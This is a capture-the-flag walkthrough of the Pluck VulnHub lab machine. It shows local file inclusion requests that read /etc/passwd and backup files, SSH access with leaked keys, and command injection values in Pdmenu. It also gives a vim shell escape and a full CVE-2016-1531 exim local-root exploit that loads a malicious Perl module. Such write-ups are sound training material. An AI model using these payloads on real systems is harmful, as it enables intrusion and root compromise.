Pluck VulnHub Writeup

  1. Service discovery
  2. Port 80
  3. Backups
  4. Pdmenu
  5. paul
  6. Summary

It's been a while since playing with VulnHub, so when I saw a new image was released, I decided to give it a go. This is pluck by Ryan Oberto.

Service discovery

root@kali:~# nmap -T4 -A -v -p0-65535 192.168.110.101

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-03-15 03:49 EDT
NSE: Loaded 140 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 03:49
Completed NSE at 03:49, 0.00s elapsed
Initiating NSE at 03:49
Completed NSE at 03:49, 0.00s elapsed
Initiating ARP Ping Scan at 03:49
Scanning 192.168.110.101 [1 port]
Completed ARP Ping Scan at 03:49, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 03:49
Completed Parallel DNS resolution of 1 host. at 03:49, 0.03s elapsed
Initiating SYN Stealth Scan at 03:49
Scanning 192.168.110.101 [65536 ports]
Discovered open port 22/tcp on 192.168.110.101
Discovered open port 3306/tcp on 192.168.110.101
Discovered open port 80/tcp on 192.168.110.101
Discovered open port 5355/tcp on 192.168.110.101
Completed SYN Stealth Scan at 03:49, 1.84s elapsed (65536 total ports)
Initiating Service scan at 03:49
Scanning 4 services on 192.168.110.101
Completed Service scan at 03:51, 115.17s elapsed (4 services on 1 host)
Initiating OS detection (try #1) against 192.168.110.101
NSE: Script scanning 192.168.110.101.
Initiating NSE at 03:51
Completed NSE at 03:51, 7.04s elapsed
Initiating NSE at 03:51
Completed NSE at 03:51, 1.01s elapsed
Nmap scan report for 192.168.110.101
Host is up (0.00026s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.3p1 Ubuntu 1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e8:87:ba:3e:d7:43:23:bf:4a:6b:9d:ae:63:14:ea:71 (RSA)
|_  256 8f:8c:ac:8d:e8:cc:f9:0e:89:f7:5d:a0:6c:28:56:fd (ECDSA)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Pluck
3306/tcp open  mysql   MySQL (unauthorized)
5355/tcp open  unknown
MAC Address: 08:00:27:45:29:54 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.4
Uptime guess: 198.048 days (since Mon Aug 29 02:43:03 2016)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.26 ms 192.168.110.101

NSE: Script Post-scanning.
Initiating NSE at 03:51
Completed NSE at 03:51, 0.00s elapsed
Initiating NSE at 03:51
Completed NSE at 03:51, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 127.29 seconds
           Raw packets sent: 65559 (2.885MB) | Rcvd: 65551 (2.623MB)

So we've got an Apache server on port 80, a MySQL server on port 3306, and an unknown service on port 5355.

Let's check out the website first.

Port 80

Upon visiting the target, we are presented with the following site.

Examining the source reveals a few links of immediate interest.

<div class="collapse navbar-collapse" id="navbarCollapse">
    <ul class="nav navbar-nav">
        <li><a href="/">Home</a></li>
        <li><a href="index.php?page=about.php">About</a></li>
        <li><a href="index.php?page=contact.php">Contact Us</a></li>
        <li><a href="admin.php">Admin</a></li>
    </ul>
</div>

I check to see if the page parameter in the index.php script is vulnerable to Local File Inclusion.

root@kali:~# curl -v 192.168.110.101/index.php?page=/etc/passwd
*   Trying 192.168.110.101...
* Connected to 192.168.110.101 (192.168.110.101) port 80 (#0)
> GET /index.php?page=/etc/passwd HTTP/1.1
> Host: 192.168.110.101
> User-Agent: curl/7.50.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Wed, 15 Mar 2017 07:56:21 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Vary: Accept-Encoding
< Content-Length: 3761
< Content-Type: text/html; charset=UTF-8
<
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Pluck</title>
<link rel="stylesheet" href="/css/bootstrap.min.css">
<link rel="stylesheet" href="/css/bootstrap-theme.min.css">
<script src="/js/jquery.min.js"></script>
<script src="/js/bootstrap.min.js"></script>
</head>
<body>
<nav id="myNavbar" class="navbar navbar-default navbar-inverse navbar-fixed-top" role="navigation">
    <!-- Brand and toggle get grouped for better mobile display -->
    <div class="container">
        <div class="navbar-header">
            <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#navbarCollapse">
                <span class="sr-only">Toggle navigation</span>
                <span class="icon-bar"></span>
                <span class="icon-bar"></span>
                <span class="icon-bar"></span>
            </button>
            <a class="navbar-brand" href="/">Pluck</a>
        </div>
        <!-- Collect the nav links, forms, and other content for toggling -->
        <div class="collapse navbar-collapse" id="navbarCollapse">
            <ul class="nav navbar-nav">
                <li><a href="/">Home</a></li>
                <li><a href="index.php?page=about.php">About</a></li>
                <li><a href="index.php?page=contact.php">Contact Us</a></li>
                <li><a href="admin.php">Admin</a></li>
            </ul>
        </div>
    </div>
</nav>
<div class="container">
<br><br><br><br>
     <div class=jumbotron>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:109::/var/run/dbus:/bin/false
mysql:x:107:111:MySQL Server,,,:/nonexistent:/bin/false
lxd:x:108:65534::/var/lib/lxd/:/bin/false
uuidd:x:109:114::/run/uuidd:/bin/false
dnsmasq:x:110:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:111:65534::/var/run/sshd:/usr/sbin/nologin
pollinate:x:112:1::/var/cache/pollinate:/bin/false
bob:x:1000:1000:bob,,,:/home/bob:/bin/bash
Debian-exim:x:113:119::/var/spool/exim4:/bin/false
peter:x:1001:1001:,,,:/home/peter:/bin/bash
paul:x:1002:1002:,,,:/home/paul:/usr/bin/pdmenu
backup-user:x:1003:1003:Just to make backups easier,,,:/backups:/usr/local/scripts/backup.sh
</div><br>    <hr>
    <div class="row">
        <div class="col-sm-12">
            <footer>
                <p>© Copyright 2017 Pluck</p>
            </footer>
        </div>
    </div>
</div>
</body>
</html>


* Connection #0 to host 192.168.110.101 left intact

Great - we were able to read the /etc/passwd file from the target. This has revealed an interesting script that assists with backups at /usr/local/scripts/backup.sh.

Backups

Let's try and read the script of interest, to see what it's doing.

root@kali:~# curl -v 192.168.110.101/index.php?page=/usr/local/scripts/backup.sh
*   Trying 192.168.110.101...
* Connected to 192.168.110.101 (192.168.110.101) port 80 (#0)
> GET /index.php?page=/usr/local/scripts/backup.sh HTTP/1.1
> Host: 192.168.110.101
> User-Agent: curl/7.50.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Wed, 15 Mar 2017 07:57:17 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Vary: Accept-Encoding
< Content-Length: 2129
< Content-Type: text/html; charset=UTF-8
<
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Pluck</title>
<link rel="stylesheet" href="/css/bootstrap.min.css">
<link rel="stylesheet" href="/css/bootstrap-theme.min.css">
<script src="/js/jquery.min.js"></script>
<script src="/js/bootstrap.min.js"></script>
</head>
<body>
<nav id="myNavbar" class="navbar navbar-default navbar-inverse navbar-fixed-top" role="navigation">
    <!-- Brand and toggle get grouped for better mobile display -->
    <div class="container">
        <div class="navbar-header">
            <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#navbarCollapse">
                <span class="sr-only">Toggle navigation</span>
                <span class="icon-bar"></span>
                <span class="icon-bar"></span>
                <span class="icon-bar"></span>
            </button>
            <a class="navbar-brand" href="/">Pluck</a>
        </div>
        <!-- Collect the nav links, forms, and other content for toggling -->
        <div class="collapse navbar-collapse" id="navbarCollapse">
            <ul class="nav navbar-nav">
                <li><a href="/">Home</a></li>
                <li><a href="index.php?page=about.php">About</a></li>
                <li><a href="index.php?page=contact.php">Contact Us</a></li>
                <li><a href="admin.php">Admin</a></li>
            </ul>
        </div>
    </div>
</nav>
<div class="container">
<br><br><br><br>
     <div class=jumbotron>#!/bin/bash

########################
# Server Backup script #
########################

#Backup directories in /backups so we can get it via tftp

echo "Backing up data"
tar -cf /backups/backup.tar /home /var/www/html > /dev/null 2& > /dev/null
echo "Backup complete"
</div><br>    <hr>
    <div class="row">
        <div class="col-sm-12">
            <footer>
                <p>© Copyright 2017 Pluck</p>
            </footer>
        </div>
    </div>
</div>
</body>
</html>


* Connection #0 to host 192.168.110.101 left intact

Great - we have read access. The script looks to be backing up not only the entire /home directory, but also the /var/www/html directory to a tar file located at /backups/backup.tar. Let's try and grab the archive.

root@kali:~# curl -v 192.168.110.101/index.php?page=/backups/backup.tar > backup.tar
*   Trying 192.168.110.101...
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0* Connected to 192.168.110.101 (192.168.110.101) port 80 (#0)
> GET /index.php?page=/backups/backup.tar HTTP/1.1
> Host: 192.168.110.101
> User-Agent: curl/7.50.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Wed, 15 Mar 2017 07:59:18 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=UTF-8
<
{ [14301 bytes data]
100 6224M    0 6224M    0     0   227M      0 --:--:--  0:00:27 --:--:--  217M* transfer closed with outstanding read data remaining
100 6378M    0 6378M    0     0   227M      0 --:--:--  0:00:28 --:--:--  227M
* Closing connection 0
curl: (18) transfer closed with outstanding read data remaining

So it looks like we've managed to download a 6gb backup archive. Before proceeding with extracting this, I throw Kadimus at the target, to see if we can achieve Remote Code Execution via the vulnerable index.php script.

root@kali:~/Kadimus# ./kadimus -u http://192.168.110.101/index.php?page=about.php
 _  __         _ _
| |/ /__ _  __| (_)_ __ ___  _   _ ___
| ' // _` |/ _` | | '_ ` _ \| | | / __|
| . \ (_| | (_| | | | | | | | |_| \__ \
|_|\_\__,_|\__,_|_|_| |_| |_|\__,_|___/

  v1.1 - LFI Scan & Exploit Tool (@hc0d3r - P0cL4bs Team)

[+] http://192.168.110.101/index.php?page=about.php

[*] Testing if URI have dynamic content
[~] URI dont have dynamic content

[CHECKING] parameter: page

[*] Checking Commom Errors
[~] http://192.168.110.101/index.php?page=u6cbEYLBWJXhcJNkOzU
[-] No errors Found

[*] Source Disclosure Test
[~] Target probably vulnerable

    0x0000:  3c64 6976 2063 6c61 7373 3d22 6a75 6d62  <div.class="jumb
    0x0010:  6f74 726f 6e22 3e0a 3c64 6976 2063 6c61  otron">.<div.cla
    0x0020:  7373 3d22 766b 5f61 6e73 2220 7374 796c  ss="vk_ans".styl
    *snip*
    0x10380:  3c2f 6469 763e 0a0a 3c2f 6469 763e 0a0a  </div>..</div>..
    0x10390:  2020 2020 3c2f 6469 763e 0a0a 3c2f 6469  ....</div>..</di
    0x10400:  763e 0a0a 0a                             v>...

[*] Checking Files
[~] http://192.168.110.101/index.php?page=../../../../../../../../../../../../etc/passwd
[+] Regex match: root:.*:0
[~] http://192.168.110.101/index.php?page=/etc/passwd
[+] Regex match: root:.*:0
[~] Ok

[*] RCE Scan

[+] php://input Tests
[-] probably not vulnerable
[*] php://input test finish

[+] /proc/self/environ tests
[-] probably not vulnerable
[*] /proc/self/environ test finish

[+] data wrap test
[-] probably not vulnerable
[*] data wrap test finish

[+] /var/log/auth.log tests
[-] probably not vulnerable
[*] /var/log/auth.log test finish

[~] Ok

[~] Single scan finish !!!

Shucks - no RCE, so it looks like our next step will be to extract this archive. First of all we need to extract the data of interest from the downloaded file, as it will include HTML. The start position is at byte 1609, and the end position is at size-251.

root@kali:~/pluck# dd if=backup.tar of=backup_extracted.tar skip=1609 count=$(expr `stat --printf="%s" backup.tar` - 251 - 1609) iflag=skip_bytes,count_bytes
13063201+1 records in
13063201+1 records out
6688359343 bytes (6.7 GB, 6.2 GiB) copied, 55.6454 s, 120 MB/s

Let's see what's included in the archive.

root@kali:~/pluck# tar -tvf backup_extracted.tar 2>/dev/null
-rw-r--r-- 1000/1000         0 1983-01-09 14:03 ome/bob/.sudo_as_admin_successful
drwxr-xr-x root/root         0 2017-01-18 03:27 home/
drwxr-xr-x bob/bob           0 2017-01-18 07:43 home/bob/
-rw-r--r-- bob/bob        3771 2017-01-18 00:39 home/bob/.bashrc
-rw-r--r-- bob/bob           0 2017-01-18 03:40 home/bob/.sudo_as_admin_successful
-rw-r--r-- bob/bob         655 2017-01-18 00:39 home/bob/.profile
-rw-r--r-- bob/bob         220 2017-01-18 00:39 home/bob/.bash_logout
drwxr-xr-x paul/paul         0 2017-01-18 13:13 home/paul/
drwxrwxr-x paul/paul         0 2017-01-18 13:09 home/paul/keys/
-rwxrwxr-x paul/paul       600 2017-01-18 13:08 home/paul/keys/id_key3.pub
-rwxrwxr-x paul/paul       600 2017-01-18 13:08 home/paul/keys/id_key2.pub
-rwxrwxr-x paul/paul       672 2017-01-18 13:08 home/paul/keys/id_key2
-rwxrwxr-x paul/paul       392 2017-01-18 13:09 home/paul/keys/id_key4.pub
-rwxrwxr-x paul/paul       600 2017-01-18 13:08 home/paul/keys/id_key5.pub
-rwxrwxr-x paul/paul      1675 2017-01-18 13:09 home/paul/keys/id_key6
-rwxrwxr-x paul/paul       668 2017-01-18 13:08 home/paul/keys/id_key1
-rwxrwxr-x paul/paul       668 2017-01-18 13:08 home/paul/keys/id_key5
-rwxrwxr-x paul/paul       600 2017-01-18 13:08 home/paul/keys/id_key1.pub
-rwxrwxr-x paul/paul       392 2017-01-18 13:09 home/paul/keys/id_key6.pub
-rwxrwxr-x paul/paul      1679 2017-01-18 13:09 home/paul/keys/id_key4
-rwxrwxr-x paul/paul       668 2017-01-18 13:08 home/paul/keys/id_key3
-rw-r--r-- paul/paul      3771 2017-01-18 03:04 home/paul/.bashrc
-rw-r--r-- paul/paul       655 2017-01-18 03:04 home/paul/.profile
-rw-r--r-- paul/paul       220 2017-01-18 03:04 home/paul/.bash_logout
drwxr-xr-x peter/peter       0 2017-01-18 03:04 home/peter/
-rw-r--r-- peter/peter    3771 2017-01-18 03:04 home/peter/.bashrc
-rw-r--r-- peter/peter     655 2017-01-18 03:04 home/peter/.profile
-rw-r--r-- peter/peter     220 2017-01-18 03:04 home/peter/.bash_logout
drwxr-xr-x root/root         0 2017-01-18 13:28 var/www/html/
drwxr-xr-x root/root         0 2016-07-25 09:53 var/www/html/fonts/
-rw-r--r-- root/root    108738 2016-07-25 07:43 var/www/html/fonts/glyphicons-halflings-regular.svg
-rw-r--r-- root/root     18028 2016-07-25 07:43 var/www/html/fonts/glyphicons-halflings-regular.woff2
-rw-r--r-- root/root     45404 2016-07-25 07:43 var/www/html/fonts/glyphicons-halflings-regular.ttf
-rw-r--r-- root/root     23424 2016-07-25 07:43 var/www/html/fonts/glyphicons-halflings-regular.woff
-rw-r--r-- root/root     20127 2016-07-25 07:43 var/www/html/fonts/glyphicons-halflings-regular.eot
-rw-r--r-- root/root       589 2017-01-18 12:16 var/www/html/about.php
-rw-r--r-- root/root      1427 2017-01-18 13:28 var/www/html/index.php
-rw-r--r-- 1000/1000         0 1983-01-09 14:03 ome/bob/.sudo_as_admin_successful

It's worth noting at this point that the archive itself appears to be corrupted, however we were still able to extract some files of interest. In hind sight, I should of probably seen the hint in the backup script, relating to tftp, so that I could grab the backup file directly, instead of via this vulnerable script. After some thinking, it occurs to me that the reason this archive is so big is because of a circular include - the archive is included as a PHP script, and as such it keeps on including itself again and again, until the request times out.

So we've got some keys for the user paul, as well as the contents of the /var/www/html directory. After extracting /var/www/html/index.php, it looks like the archive is corrupted, as it cuts off half way through the file. I extract the keys from /home/paul/keys and try each one in turn against the paul user.

root@kali:~/pluck/home/paul/keys# ssh -i id_key1 paul@192.168.110.101
The authenticity of host '192.168.110.101 (192.168.110.101)' can't be established.
ECDSA key fingerprint is SHA256:bNvu4Av4Bhl0MM7y9oSir/U4GlOayJaxliMmqVkMqTc.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.110.101' (ECDSA) to the list of known hosts.
paul@192.168.110.101's password:

root@kali:~/pluck/home/paul/keys# ssh -i id_key2 paul@192.168.110.101
paul@192.168.110.101's password:

root@kali:~/pluck/home/paul/keys# ssh -i id_key3 paul@192.168.110.101
paul@192.168.110.101's password:

root@kali:~/pluck/home/paul/keys# ssh -i id_key4 paul@192.168.110.101

The fourth key results in the following screen.

Pdmenu

Using the Directory listing, Change directory and Edit file commands, we can view and modify files on the target.

By exploiting weak sanitation of input in the Edit file command, we can execute arbitrary commands on the target. In the below snippet, we provide the filename as index.php && id.

uid=1002(paul) gid=1002(paul) groups=1002(paul)

Press Enter to return to Pdmenu.

Upon exiting vim, we are presented with the output of the id command. We can actually do the same under the Ping menu, by providing input in the style of $(id).

ping: uid=1002(paul) gid=1002(paul) groups=1002(paul): Name or service not known

Press Enter to return to Pdmenu.

Time to get a shell as paul. As the menu is using vim, we can actually get a shell on the target pretty easily. Firstly we open a file - let's say /var/www/html/index.php, then we issue the following commands to firstly change our shell to /bin/bash, and then get an interactive shell.

:set shell=/bin/bash
:!bash
paul@pluck:/var/www/html$ id
uid=1002(paul) gid=1002(paul) groups=1002(paul)

paul

So we've got a shell as paul. Let's see what we can do from here.

I move to the home directory for paul, and out of curiosity check out the .pdmenurc file, which configures Pdmenu.

paul@pluck:~$ cat .pdmenurc
#!/usr/bin/pdmenu
#
# Note that the above bang-path isn't required, but it lets you run this
# file directly as a sort of pdmenu script.

# Sample menus for Pdmenu.

# Define the main menu.
menu:main:Main Menu
    exec:_Directory listing:truncate:ls -l
    exec:_Change directory:edit,set:echo PWD=~set to?:~
    exec:_Edit file:edit,pause:vim ~filename?:~
    exec:_Who's online?:truncate:echo "These users are online:";w
    exec:_WWW:edit,pause:lynx ~URL?:~
    exec:_Telnet:edit,pause:telnet "~Telnet to where?:~"
    exec:_Ping:edit,pause:ping "~host?:~"
    nop
    exit:_Exit

Nothing really surprising here. Let's keep looking.

I check for any interesting binaries that have their SUID bit set.

paul@pluck:~$ find / -perm -4000 -ls 2>/dev/null
   153966   1024 -rwsr-xr-x   1 root     root      1046368 Jan 18 08:54 /usr/exim/bin/exim-4.84-7
      355     56 -rwsr-xr-x   1 root     root        54256 Sep 20 09:43 /usr/bin/passwd
    21792     52 -rwsr-sr-x   1 daemon   daemon      51464 Jan 15  2016 /usr/bin/at
      344     40 -rwsr-xr-x   1 root     root        39904 Sep 20 09:43 /usr/bin/newgrp
    22734     24 -rwsr-xr-x   1 root     root        22520 Oct  6 22:35 /usr/bin/pkexec
      441    136 -rwsr-xr-x   1 root     root       136808 Aug 15  2016 /usr/bin/sudo
    21450     20 -rwsr-xr-x   1 root     root        18416 Jun 15  2016 /usr/bin/traceroute6.iputils
    22669     36 -rwsr-xr-x   1 root     root        32944 Sep 20 09:43 /usr/bin/newuidmap
      190     72 -rwsr-xr-x   1 root     root        71824 Sep 20 09:43 /usr/bin/chfn
      262     76 -rwsr-xr-x   1 root     root        75304 Sep 20 09:43 /usr/bin/gpasswd
    22668     36 -rwsr-xr-x   1 root     root        32944 Sep 20 09:43 /usr/bin/newgidmap
      192     40 -rwsr-xr-x   1 root     root        40432 Sep 20 09:43 /usr/bin/chsh
     2222     44 -rwsr-xr--   1 root     messagebus    42992 Oct 12 14:29 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    22737     16 -rwsr-xr-x   1 root     root          14328 Oct  6 22:35 /usr/lib/policykit-1/polkit-agent-helper-1
   277811     12 -rwsr-xr-x   1 root     root          10104 Jul  9  2016 /usr/lib/s-nail/s-nail-privsep
    21548    432 -rwsr-xr-x   1 root     root         440728 Aug  7  2016 /usr/lib/openssh/ssh-keysign
      561     12 -rwsr-xr-x   1 root     root          10240 Feb 25  2014 /usr/lib/eject/dmcrypt-get-device
   262239     40 -rwsr-xr-x   1 root     root          40128 Sep 20 09:43 /bin/su
   262258     28 -rwsr-xr-x   1 root     root          26696 Sep 12  2016 /bin/umount
   262207     40 -rwsr-xr-x   1 root     root          38984 Sep 12  2016 /bin/mount
   274414     32 -rwsr-xr-x   1 root     root          30800 Aug 11  2016 /bin/fusermount
   262221     60 -rwsr-xr-x   1 root     root          60288 Jun 15  2016 /bin/ping
   274178    144 -rwsr-xr-x   1 root     root         146128 Apr 27  2016 /bin/ntfs-3g

Everything looks pretty standard, apart from /usr/exim/bin/exim-4.84-7. A quick Google shows a vulnerability affecting versions 4.86.2 and below - looks hopeful.

The vulnerability stems from Exim in versions below 4.86.2 not performing
sanitization of the environment before loading a perl script defined
with perl_startup setting in exim config.

perl_startup is usually used to load various helper scripts such as
mail filters, gray listing scripts, mail virus scanners etc.

For the option to be supported, exim must have been compiled with Perl
support, which can be verified with:

[dawid@centos7 ~]$ exim -bV -v | grep i Perl
Support for: crypteq iconv() IPv6 PAM Perl Expand_dlfunc TCPwrappers OpenSSL
Content_Scanning DKIM Old_Demime PRDR OCSP


To perform the attack, attacker can take advantage of the exim's sendmail
interface which links to an exim binary that has an SUID bit set on it by
default

The entry comes with a Proof of Concept, so let's give it a go!

paul@pluck:~$ /usr/exim/bin/exim-4.84-7 -bV -v | grep -i Perl
Support for: iconv() Perl DKIM PRDR OCSP

Looks like it's potentially exploitable. Let's keep going.

Unfortunately, it appears this exploit relies upon having sendmail.exim available to us. Trying to trigger this by hand resulted in no success. I note that there is another exploit which affects version 4.84 of exim. Here's hoping.

paul@pluck:~$ #!/bin/sh
paul@pluck:~$ # CVE-2016-1531 exim <= 4.84-3 local root exploit
paul@pluck:~$ # ===============================================
paul@pluck:~$ # you can write files as root or force a perl module to
paul@pluck:~$ # load by manipulating the perl environment and running
paul@pluck:~$ # exim with the "perl_startup" arguement -ps.
paul@pluck:~$ #
paul@pluck:~$ # e.g.
paul@pluck:~$ # [fantastic@localhost tmp]$ ./cve-2016-1531.sh
paul@pluck:~$ # [ CVE-2016-1531 local root exploit
paul@pluck:~$ # sh-4.3# id
paul@pluck:~$ # uid=0(root) gid=1000(fantastic) groups=1000(fantastic)
paul@pluck:~$ #
paul@pluck:~$ # -- Hacker Fantastic
paul@pluck:~$ echo [ CVE-2016-1531 local root exploit
[ CVE-2016-1531 local root exploit
paul@pluck:~$ cat > /tmp/root.pm << EOF
> package root;
> use strict;
> use warnings;
>  
> system("/bin/sh");
> EOF      
paul@pluck:~$ PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim-4.84-7 -ps
# id
uid=0(root) gid=1002(paul) groups=1002(paul)

We have root! Let's grab the flag.

# ls -lah /root
total 48K
drwx------  2 root root 4.0K Jan 25 13:28 .
drwxr-xr-x 23 root root 4.0K Jan 18 11:14 ..
-rw-------  1 root root    1 Jan 20 08:58 .bash_history
-rw-r--r--  1 root root 3.1K Oct 22  2015 .bashrc
-rw-r--r--  1 root root  599 Jan 19 06:07 flag.txt
-rw-------  1 root root   84 Jan 20 09:00 .lesshst
-rw-------  1 root root   81 Jan 18 12:00 .mysql_history
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-------  1 root root  11K Jan 25 13:28 .viminfo
-rw-r--r--  1 root root  209 Jan 18 19:40 .wget-hsts
# cat /root/flag.txt

Congratulations you found the flag

---------------------------------------

######   ((((((((((((((((((((((((((((((
#########   (((((((((((((((((((((((((((
,,##########   ((((((((((((((((((((((((
@@,,,##########   (((((((((((((((((((((
@@@@@,,,##########                     
@@@@@@@@,,,############################
@@@@@@@@@@@,,,#########################
@@@@@@@@@,,,###########################
@@@@@@,,,##########                    
@@@,,,##########   &&&&&&&&&&&&&&&&&&&&
,,,##########   &&&&&&&&&&&&&&&&&&&&&&&
##########   &&&&&&&&&&&&&&&&&&&&&&&&&&
#######   &&&&&&&&&&&&&&&&&&&&&&&&&&&&&

Summary

This was a nice little challenge - it was a nice surprise finding the command injection in Pdmenu. I was kind of hoping to get execution under www-data, however it turns out this was not required in order to finish the challenge.

Thanks for putting it together Ryan Oberto, and thank you for hosting it VulnHub!